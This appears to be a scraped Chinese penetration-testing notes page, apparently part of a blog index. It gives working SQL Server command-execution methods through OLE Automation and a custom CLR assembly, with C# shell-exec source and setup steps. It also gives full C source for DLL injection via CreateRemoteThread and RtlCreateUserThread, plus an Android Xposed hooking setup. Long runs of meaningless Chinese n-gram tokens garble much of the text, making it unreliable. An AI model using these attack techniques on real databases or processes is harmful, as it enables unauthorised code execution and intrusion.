取搜狗子 搜狗子域 狗子域名 参考 考链 参考链 考链接 参考链接 取子 获取子 取子域 获取子域 取子域名 从搜 狗视 视频 频获 从搜狗 搜狗视 狗视频 视频获 频获取 从搜狗视 搜狗视频 狗视频获 视频获取 防止 止傻 傻逼 逼搜 狗机 机制 制检 检测 防止傻 止傻逼 傻逼搜 逼搜狗 搜狗机 狗机制 机制检 制检测 防止傻逼 止傻逼搜 傻逼搜狗 逼搜狗机 搜狗机制 狗机制检 机制检测 取到 爬取到
  12. 利用COM执行命令 (需要开启Ole Automation Procedures组件) declare @luan int,@exec int,@text int,@str varchar(8000); exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output; exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'; exec sp_oamethod @exec, 'StdOut', @text out; exec sp_oamethod @text, 'readall', @str out; select @str; 没有开启Ole Automation Procedures,可以用下面的命令开启 sp_configure 'show advanced options', 1; GO RECONFIGURE; GO sp_configure 'Ole Automation Procedures', 1; GO RECONFIGURE; GO 编写CLR实现执行命令 编写语言:C# Vs创建类库 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System; using System.Threading.Tasks; namespace shellexec { public class exec { public static string cmd(string command) { System.Diagnostics.Process pro = new System.Diagnostics.Process(); pro.StartInfo.FileName = "cmd.exe"; pro.StartInfo.UseShellExecute = false; pro.StartInfo.RedirectStandardError = true; //标准错误 pro.StartInfo.RedirectStandardInput = true; //标准输入 pro.StartInfo.RedirectStandardOutput = true; //标准输出 pro.StartInfo.CreateNoWindow = true; //是否在新窗口开启进程 pro.Start(); pro.StandardInput.WriteLine(command + "&&exit"); //命令参数写入 pro.StandardInput.AutoFlush = true; //缓冲区自动刷新 string output = pro.StandardOutput.ReadToEnd(); //读取执行结果 pro.WaitForExit(); //等待执行完成退出 pro.Close(); return output.ToString(); } } } 生成dll后,可以用hex的方法写到目标,或者shell上传。然后开始构造 1.目标数据库实例需要启用clr集成 exec sp_configure 'clr enabled', 1;--在SQL Server中启用CLR reconfigure; go 2.目标数据库的可信任属性需要设为false,可以使用以下语句启用 ALTER DATABASE [<数据库名称>] SET TRUSTWORTHY ON 3.在数据库中注册DLL CREATE ASSEMBLY MySqlCLR FROM '<dll的路径>' //MySqlCLR为导入dll后的变量名称 4.创建函数 (根据对应函数的类型的参数构造对应的参数类型,然后RETURNS [nvarchar] (max)记得设置为返回最大如果是返回string类型的话),在直接这个dll的名称在那个命名空间、类、函数) CREATE FUNCTION [dbo].[cmd2] ( @cmd AS NVARCHAR(max) ) RETURNS [nvarchar] (max) WITH EXECUTE AS CALLER AS EXTERNAL NAME [MySqlCLR].[shellexec.exec].cmd //shellexec为命名空间,exec为类名,cmd为函数名 GO 5.程序集的权限级别必须设为 external access,否则在部署的时候会报错 ALTER ASSEMBLY [MySqlCLR] WITH PERMISSION_SET = UNSAFE 6.调用存储过程和函数方法 select [dbo].[cmd2]('whoami') 参考链接: https://blog.csdn.net/catchme_439/article/details/78411009 https://zhuanlan.zhihu.com/p/33322584?from_voters_page=true 利用 执行 行命 命令 执行命 行命令 执行命令 需要 要开 开启 需要开 要开启 需要开启 组件 没有 有开 没有开 有开启 没有开启 可以 以用 用下 下面 面的 的命 令开 可以用 以用下 用下面 下面的 面的命 的命令 命令开 令开启 可以用下 以用下面 用下面的 下面的命 面的命令 的命令开 命令开启 编写 实现 现执 实现执 现执行 实现执行 现执行命 写语 语言 编写语 写语言 编写语言 创建 建类 类库 创建类 建类库 创建类库 标准 准错 错误 标准错 准错误 标准错误 准输 输入 标准输 准输入 标准输入 输出 准输出 标准输出 是否 否在 在新 新窗 窗口 口开 启进 进程 是否在 否在新 在新窗 新窗口 窗口开 口开启 开启进 启进程 是否在新 否在新窗 在新窗口 新窗口开 窗口开启 口开启进 开启进程 令参 参数 数写 写入 命令参 令参数 参数写 数写入 命令参数 令参数写 参数写入 缓冲 冲区 区自 自动 动刷 刷新 缓冲区 冲区自 区自动 自动刷 动刷新 缓冲区自 冲区自动 区自动刷 自动刷新 读取 取执 行结 结果 读取执 取执行 执行结 行结果 读取执行 取执行结 执行结果 等待 待执 行完 完成 成退 退出 等待执 待执行 执行完 行完成 完成退 成退出 等待执行 待执行完 执行完成 行完成退 完成退出 生成 的方 方法 法写 写到 到目 目标 的方法 方法写 法写到 写到目 到目标 的方法写 方法写到 法写到目 写到目标 或者 上传 然后 后开 开始 始构 构造 然后开 后开始 开始构 始构造 然后开始 后开始构 开始构造 标数 数据 据库 库实 实例 例需 要启 启用 目标数 标数据 数据库 据库实 库实例 实例需 例需要 需要启 要启用 目标数据 标数据库 数据库实 据库实例 库实例需 实例需要 例需要启 需要启用 集成 中启 中启用 库的 的可 可信 信任 任属 属性 性需 要设 设为 据库的 库的可 的可信 可信任 信任属 任属性 属性需 性需要 需要设 要设为 数据库的 据库的可 库的可信 的可信任 可信任属 信任属性 任属性需 属性需要 性需要设 需要设为 以使 使用 用以 以下 下语 语句 句启 可以使 以使用 使用以 用以下 以下语 下语句 语句启 句启用 可以使用 以使用以 使用以下 用以下语 以下语句 下语句启 语句启用 库名 名称 据库名 库名称 数据库名 据库名称 在数 库中 中注 注册 在数据 据库中 库中注 中注册 在数据库 数据库中 据库中注 库中注册 的路 路径 的路径 为导 导入 为导入 后的 的变 变量 量名 后的变 的变量 变量名 量名称 后的变量 的变量名 变量名称 建函 函数 创建函 建函数 创建函数 根据 据对 对应 应函 数的 的类 类型 型的 的参 数构 造对 应的 数类 根据对 据对应 对应函 应函数 函数的 数的类 的类型 类型的 型的参 的参数 参数构 数构造 构造对 造对应 对应的 应的参 参数类 数类型 根据对应 据对应函 对应函数 应函数的 函数的类 数的类型 的类型的 类型的参 型的参数 的参数构 参数构造 数构造对 构造对应 造对应的 对应的参 应的参数 的参数类 参数类型 记得 得设 设置 置为 为返 返回 回最 最大 大如 如果 果是 是返 记得设 得设置 设置为 置为返 为返回 返回最 回最大 最大如 大如果 如果是 果是返 是返回 记得设置 得设置为 设置为返 置为返回 为返回最 返回最大 回最大如 最大如果 大如果是 如果是返 果是返回 的话 型的话 类型的话 在直 直接 接这 这个 在直接 直接这 接这个 在直接这 直接这个 的名 称在 在那 那个 个命 命名 名空 空间 的名称 名称在 称在那 在那个 那个命 个命名 命名空 名空间 的名称在 名称在那 称在那个 在那个命 那个命名 个命名空 命名空间 为命 为命名 为命名空 为类 类名 为类名 为函 数名 为函数 函数名 为函数名 程序 序集 集的 的权 权限 限级 级别 别必 必须 须设 程序集 序集的 集的权 的权限 权限级 限级别 级别必 别必须 必须设 须设为 程序集的 序集的权 集的权限 的权限级 权限级别 限级别必 级别必须 别必须设 必须设为 否则 则在 在部 部署 署的 的时 时候 候会 会报 报错 否则在 则在部 在部署 部署的 署的时 的时候 时候会 候会报 会报错 否则在部 则在部署 在部署的 部署的时 署的时候 的时候会 时候会报 候会报错 调用 用存 存储 储过 过程 程和 和函 数方 调用存 用存储 存储过 储过程 过程和 程和函 和函数
  13. CreateRemoteThread远程线程调用 原理: * 读取目标要注入dll的进程句柄 * 计算存储DLL路径所需要的字节数 * 为远程进程分配一个内存以存储DLL路径名称 * 复制DLL路径到远程进程 * 获取LoadLibraryW在Kernel32.dll中的地址 * 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL * 等待远程线程结束(卸载DLL) #include "stdafx.h" #include <Windows.h> int main(int argc,char *argv[]) { DWORD dwDesiredAccess= PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE; BOOL bInheritHandle=0; DWORD dwProcessId; PCWSTR dllPath = TEXT("C:\\testdll.dll"); //设置DLLL路径 int dlllen = lstrlen(dllPath); int dllbytes = dlllen * 2; //计算dll路径长度 if (argc == 2) { dwProcessId = atoi(argv[1]); } else { printf("Example:test.exe <process_id>\n"); exit(1); } HANDLE process=OpenProcess(dwDesiredAccess,bInheritHandle,dwProcessId); //读取进程获取句柄 if (process==0){ printf("[-] OpenProcess failure,Error code:%d\n",GetLastError()); exit(1); } else { printf("[*] OpenProcess Sucess\n"); } LPVOID vallex = VirtualAllocEx(process, 0, dllbytes, MEM_COMMIT, PAGE_READWRITE); //给远程地址分配一个可以放下dll路径的内存空间 if (vallex == 0) { printf("[-] VirtualAllocEx failure,Error Code:%d\n",GetLastError()); exit(1); } else { printf("[*] VirtualAllocEx Sucess\n"); } if (!WriteProcessMemory(process, vallex, dllPath, dllbytes, 0)) { //远程内存写入 printf("[-] WriteProcessMemory failure,Error Code:%d\n", GetLastError()); exit(1); } else { printf("[*] WriteProcessMemory Sucess\n"); } FARPROC moduleaddress = GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); //获取Kernel32.dll里面LoadLibraryW函数地址 if (moduleaddress == 0) { printf("[-] GetProcAddress failure,Error Code:%d\n", GetLastError()); exit(1); } else { printf("[*] GetProcAddress Sucess\n"); } HANDLE createthread_ = CreateRemoteThread(process, 0, 0, LPTHREAD_START_ROUTINE(moduleaddress), vallex, 0, 0); //在远程进程调用dll if (createthread_ == 0) { printf("[-] createthread failure,Error Code:%d\n", GetLastError()); exit(1); } else { printf("[*] CreateRemoteThread Sucess\n"); WaitForSingleObject(createthread_, INFINITE); //等待线程创建结束(卸载DLL) } return 0; } 注入测试 RtlCreateUserThread DLL远程注入 RtlCreateUserThread是CreateRemoteThread的底层实现,所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一样的,这个函数可以实现跨会话创建线程。唯一的问题就是:当我们在Vista 之前的操作系统调用此函数所创建的线程并没有通知给csrss 进程,它没有完整的初始化,在调用一些网络或者其它的系统函数的时候他可能返回失败,而通过CreateRemoteThread 创建的线程没有任何问题,在Vista+的操作系统上调用此函数也没有问题。因此我们需要判断系统版本,当目标系统为Vista-的时候,我们应该通过RtlCreateUserThread创建一个挂起的线程,然后调用CsrClientCallServer通知csrss 这个线程的创建,然后csrss 做相应的记录及初始化工作之后,我们再恢复线程的执行。最后,我们新创建的线程必须自己调用ExitThread退出,否则也会产生崩溃的情况。 原理: * 读取目标要注入dll的进程句柄 * 计算存储DLL路径所需要的字节数 * 为远程进程分配一个内存以存储DLL路径名称 * 复制DLL路径到远程进程 * 获取LoadLibraryW在Kernel32.dll中的地址 * 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL * 在卸载的时候会此DLL #include "stdafx.h" #include <Windows.h> #include <tlhelp32.h> typedef DWORD(WINAPI * pRtlCreateUserThread)( HANDLE ProcessHandle, PSECURITY_DESCRIPTOR SecurityDescriptor, BOOL CreateSuspended, ULONG StackZeroBits, PULONG StackReserved, PULONG StackCommit, LPVOID StartAddress, LPVOID StartParameter, HANDLE ThreadHandle, LPVOID ClientID ); DWORD findbyname(WCHAR *name) { HANDLE p; PROCESSENTRY32W p2; p = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); p2.dwSize = sizeof(PROCESSENTRY32); printf("Proces Listlen:%d\n", p2.dwSize); BOOL besult = Process32FirstW(p, &p2); int calc = 0; while (besult!=FALSE) { int pid = p2.th32ProcessID; WCHAR *processname = p2.szExeFile; if (wcscmp(processname, name) == 0) { printf("%d ", pid); wprintf(processname); printf("\n"); return pid; } besult=Process32NextW(p,&p2); calc++; } return 0; } void Errorcode() { printf(",Error Code:%d\n", GetLastError()); exit(1); } DWORD dllinject(LPCSTR dll,int pid) { HANDLE h; h = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); if (h == 0) { printf("[-] OpenProcess failure"); Errorcode(); } printf("[*] OpenProcess Sucess\n"); LPVOID moduleaddress = (LPVOID)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")),"LoadLibraryA"); if (moduleaddress == 0) { printf("[-] GetProcAddress LoadLibraryW failure"); Errorcode(); } printf("[*] GetProcAddress LoadLibraryW Address Sucess,Address=0x%x\n", moduleaddress); pRtlCreateUserThread RtlCreateUserThread = NULL; RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "RtlCreateUserThread"); if (RtlCreateUserThread == 0) { printf("[-] GetProcAddress RtlCreateUserThread failure"); Errorcode(); } printf("[*] GetProcAddress RtlCreateUserThread Address Sucess,Address=0x%x\n", RtlCreateUserThread); //DWORD dwSize = (strlen(dll) + 1) * sizeof(char); SIZE_T dwSize = strlen(dll); LPVOID vt = VirtualAllocEx(h,0, dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (vt == 0) { printf("[-] VirtualAllocEx failure"); Errorcode(); } printf("[*] VirtualAllocEx Sucess,Address=0x%x\n", vt); BOOL dlladdress = WriteProcessMemory(h, vt, dll, dwSize, 0); if (dlladdress == 0) { printf("[-] WriteProcessMemory failure"); Errorcode(); } printf("[*] WriteProcessMemory Sucess\n"); HANDLE hRemoteThread = NULL; RtlCreateUserThread(h, NULL, 0, 0, 0, 0, moduleaddress, vt,&hRemoteThread, NULL); printf("%d\n", GetLastError()); if (hRemoteThread ==0) { printf("[-] RtlCreateUserThread failure"); Errorcode(); return 1; } printf("[*] RtlCreateUserThread Sucess\n"); printf("[+] Dll Inject Sucess\n"); return 0; } int main() { WCHAR *processname = TEXT("notepad.exe"); LPCSTR dllpath = "C:\\Users\\JiuShi\\Desktop\\ABC.dll"; printf("DLL PATH:"); printf("\n"); int pid=findbyname(processname); dllinject(dllpath, pid); system("pause"); return 0; } 远程 程线 线程 程调 调用 远程线 程线程 线程调 程调用 远程线程 程线程调 线程调用 原理 读取 取目 目标 标要 要注 注入 读取目 取目标 目标要 标要注 要注入 读取目标 取目标要 目标要注 标要注入 的进 进程 程句 句柄 的进程 进程句 程句柄 的进程句 进程句柄 计算 算存 存储 计算存 算存储 计算存储 路径 径所 所需 需要 要的 的字 字节 节数 路径所 径所需 所需要 需要的 要的字 的字节 字节数 路径所需 径所需要 所需要的 需要的字 要的字节 的字节数 为远 程进 程分 分配 配一 一个 个内 内存 存以 以存 为远程 远程进 程进程 进程分 程分配 分配一 配一个 一个内 个内存 内存以 存以存 以存储 为远程进 远程进程 程进程分 进程分配 程分配一 分配一个 配一个内 一个内存 个内存以 内存以存 存以存储 径名 名称 路径名 径名称 路径名称 复制 径到 到远 路径到 径到远 到远程 路径到远 径到远程 到远程进 获取 中的 的地 地址 中的地 的地址 中的地址 创建 建远 创建远 建远程 远程调 创建远程 建远程调 远程调用 在远 程地 址空 空间 间中 在远程 远程地 程地址 地址空 址空间 空间中 在远程地 远程地址 程地址空 地址空间 址空间中 加载 等待 待远 程结 结束 等待远 待远程 线程结 程结束 等待远程 待远程线 程线程结 线程结束 卸载 设置 径长 长度 路径长 径长度 路径长度 取进 程获 取句 读取进 取进程 进程获 程获取 获取句 取句柄 读取进程 取进程获 进程获取 程获取句 获取句柄 给远 址分 个可 可以 以放 放下 给远程 地址分 址分配 一个可 个可以 可以放 以放下 给远程地 程地址分 地址分配 址分配一 配一个可 一个可以 个可以放 可以放下 径的 的内 存空 路径的 径的内 的内存 内存空 存空间 路径的内 径的内存 的内存空 内存空间 程内 存写 写入 远程内 程内存 内存写 存写入 远程内存 程内存写 内存写入 里面 函数 数地 函数地 数地址 函数地址 进程调 在远程进 程进程调 进程调用 待线 程创 建结 等待线 待线程 线程创 程创建 创建结 建结束 等待线程 待线程创 线程创建 程创建结 创建结束 入测 测试 注入测 入测试 注入测试 程注 远程注 程注入 远程注入 的底 底层 层实 实现 的底层 底层实 层实现 的底层实 底层实现 所以 以使 使用 所以使 以使用 所以使用 的原 理是 是和 和使 的原理 原理是 理是和 是和使 和使用 的原理是 原理是和 理是和使 是和使用 是一 一样 样的 理是一 是一样 一样的 原理是一 理是一样 是一样的 这个 个函 数可 以实 现跨 跨会 会话 话创 建线 这个函 个函数 函数可 数可以 可以实 以实现 实现跨 现跨会 跨会话 会话创 话创建 创建线 建线程 这个函数 个函数可 函数可以 数可以实 可以实现 以实现跨 实现跨会 现跨会话 跨会话创 会话创建 话创建线 创建线程 唯一 一的 的问 问题 题就 就是 唯一的 一的问 的问题 问题就 题就是 唯一的问 一的问题 的问题就 问题就是 当我 我们 们在 当我们 我们在 当我们在 之前 前的 的操 操作 作系 系统 统调 用此 此函 数所 所创 建的 的线 程并 并没 没有 有通 通知 知给 之前的 前的操 的操作 操作系 作系统 系统调 统调用 调用此 用此函 此函数 函数所 数所创 所创建 创建的 建的线 的线程 线程并 程并没 并没有 没有通 有通知 通知给 之前的操 前的操作 的操作系 操作系统 作系统调 系统调用 统调用此 调用此函 用此函数 此函数所 函数所创 数所创建 所创建的 创建的线 建的线程 的线程并 线程并没 程并没有 并没有通 没有通知 有通知给 它没 有完 完整 整的 的初 初始 始化 它没有 没有完 有完整 完整的 整的初 的初始 初始化 它没有完 没有完整 有完整的 完整的初 整的初始 的初始化 在调 用一 一些 些网 网络 络或 或者 者其 其它 它的 的系 统函 数的 的时 时候 候他 他可 可能 能返 返回 回失 失败 在调用 调用一 用一些 一些网 些网络 网络或 络或者 或者其 者其它 其它的 它的系 的系统 系统函 统函数 函数的 数的时 的时候 时候他 候他可 他可能 可能返 能返回 返回失 回失败 在调用一 调用一些 用一些网 一些网络 些网络或 网络或者 络或者其 或者其它 者其它的 其它的系 它的系统 的系统函 系统函数 统函数的 函数的时 数的时候 的时候他 时候他可 候他可能 他可能返 可能返回 能返回失 返回失败 而通 通过 而通过 程没 有任
  14. 环境 夜神模拟器 6.6.0.5 Android version 5.1.1 Xposed.installer(5.11安卓系统) Xserver (0.6.2) 4.42安卓模拟器Xposed框架链接: https://pan.baidu.com/s/1depSSHCy0KYcFZzkPH7aZQ 密码: vmyr 5.11安卓模拟器Xposed框架链接: https://pan.baidu.com/s/1erZD4gMk1MQdVklnrmSuLg 密码: s4j4 Xserver下载 https://github.com/monkeylord/XServer Starting 安好xp框架,然后安装好xserver 两个坑: xp框架安装好后重启后发现未激活 - 重启后重新安装 (这里我没遇到) xserver安好后激活了模块之后发现还是无法激活 - 重启Android。重启之后还是没用重新安装xp框架 随便安个APP,拿的某音作为测试,打开某音。然后在Xserver选中对应的app adb连接 adb connect 127.0.0.1:62001 adb shell //检查8000端口是否真的打开了 adb forward tcp:8000 tcp:8000 //映射到本地的8000端口 访问Sucess的话如下 然后可以看到各种module?还是包。不知道该怎么称呼….,随便点开一个可以看到详细信息 访问http://127.0.0.1:8000/tracer可以搜索什么函数之类的然后可以Hook 搜了个http,然后点击Hook Matched Class可以Hook了,然后刷新一下某音视频就能看到hook了的结果 然后就是什么配置Android然后burp抓包看什么的。一般都是通信被加密了,然后通过这种方法来对着看什么什么之类的。没搞过就不说了 环境 夜神 神模 模拟 拟器 夜神模 神模拟 模拟器 夜神模拟 神模拟器 安卓 卓系 系统 安卓系 卓系统 安卓系统 卓模 安卓模 卓模拟 安卓模拟 卓模拟器 框架 架链 链接 框架链 架链接 框架链接 密码 下载 安好 然后 后安 安装 装好 然后安 后安装 安装好 然后安装 后安装好 两个 个坑 两个坑 架安 好后 后重 重启 启后 后发 发现 现未 未激 激活 框架安 架安装 装好后 好后重 后重启 重启后 启后发 后发现 发现未 现未激 未激活 框架安装 架安装好 安装好后 装好后重 好后重启 后重启后 重启后发 启后发现 后发现未 发现未激 现未激活 重新 新安 启后重 后重新 重新安 新安装 重启后重 启后重新 后重新安 重新安装 这里 里我 我没 没遇 遇到 这里我 里我没 我没遇 没遇到 这里我没 里我没遇 我没遇到 后激 活了 了模 模块 块之 之后 现还 还是 是无 无法 法激 安好后 好后激 后激活 激活了 活了模 了模块 模块之 块之后 之后发 发现还 现还是 还是无 是无法 无法激 法激活 安好后激 好后激活 后激活了 激活了模 活了模块 了模块之 模块之后 块之后发 之后发现 后发现还 发现还是 现还是无 还是无法 是无法激 无法激活 启之 后还 是没 没用 用重 重启之 启之后 之后还 后还是 还是没 是没用 没用重 用重新 重启之后 启之后还 之后还是 后还是没 还是没用 是没用重 没用重新 用重新安 随便 便安 安个 随便安 便安个 随便安个 拿的 的某 某音 音作 作为 为测 测试 拿的某 的某音 某音作 音作为 作为测 为测试 拿的某音 的某音作 某音作为 音作为测 作为测试 打开 开某 打开某 开某音 打开某音 后在 然后在 选中 中对 对应 应的 选中对 中对应 对应的 选中对应 中对应的 连接 检查 端口 口是 是否 否真 真的 的打 开了 端口是 口是否 是否真 否真的 真的打 的打开 打开了 端口是否 口是否真 是否真的 否真的打 真的打开 的打开了 映射 射到 到本 本地 地的 映射到 射到本 到本地 本地的 映射到本 射到本地 到本地的 访问 的话 话如 如下 的话如 话如下 的话如下 后可 可以 以看 看到 到各 各种 然后可 后可以 可以看 以看到 看到各 到各种 然后可以 后可以看 可以看到 以看到各 看到各种 是包 还是包 不知 知道 道该 该怎 怎么 么称 称呼 不知道 知道该 道该怎 该怎么 怎么称 么称呼 不知道该 知道该怎 道该怎么 该怎么称 怎么称呼 便点 点开 开一 一个 个可 到详 详细 细信 信息 随便点 便点开 点开一 开一个 一个可 个可以 看到详 到详细 详细信 细信息 随便点开 便点开一 点开一个 开一个可 一个可以 个可以看 以看到详 看到详细 到详细信 详细信息 以搜 搜索 索什 什么 么函 函数 数之 之类 类的 的然 可以搜 以搜索 搜索什 索什么 什么函 么函数 函数之 数之类 之类的 类的然 的然后 可以搜索 以搜索什 搜索什么 索什么函 什么函数 么函数之 函数之类 数之类的 之类的然 类的然后 的然后可 搜了 了个 搜了个 后点 点击 然后点 后点击 然后点击 后刷 刷新 新一 一下 下某 音视 视频 频就 就能 能看 然后刷 后刷新 刷新一 新一下 一下某 下某音 某音视 音视频 视频就 频就能 就能看 能看到 然后刷新 后刷新一 刷新一下 新一下某 一下某音 下某音视 某音视频 音视频就 视频就能 频就能看 就能看到 了的 的结 结果 了的结 的结果 了的结果 后就 就是 是什 么配 配置 然后就 后就是 就是什 是什么 什么配 么配置 然后就是 后就是什 就是什么 是什么配 什么配置 抓包 包看 看什 么的 抓包看 包看什 看什么 什么的 抓包看什 包看什么 看什么的 一般 般都 都是 是通 通信 信被 被加 加密 密了 一般都 般都是 都是通 是通信 通信被 信被加 被加密 加密了 一般都是 般都是通 都是通信 是通信被 通信被加 信被加密 被加密了 后通 通过 过这 这种 种方 方法 法来 来对 对着 着看 么什 么之 然后通 后通过 通过这 过这种 这种方 种方法 方法来 法来对 来对着 对着看 着看什 什么什 么什么 什么之 么之类 然后通过 后通过这 通过这种 过这种方 这种方法 种方法来 方法来对 法来对着 来对着看 对着看什 着看什么 看什么什 什么什么 么什么之 什么之类 么之类的 没搞 搞过 过就 就不 不说 说了 没搞过 搞过就 过就不 就不说 不说了 没搞过就 搞过就不 过就不说 就不说了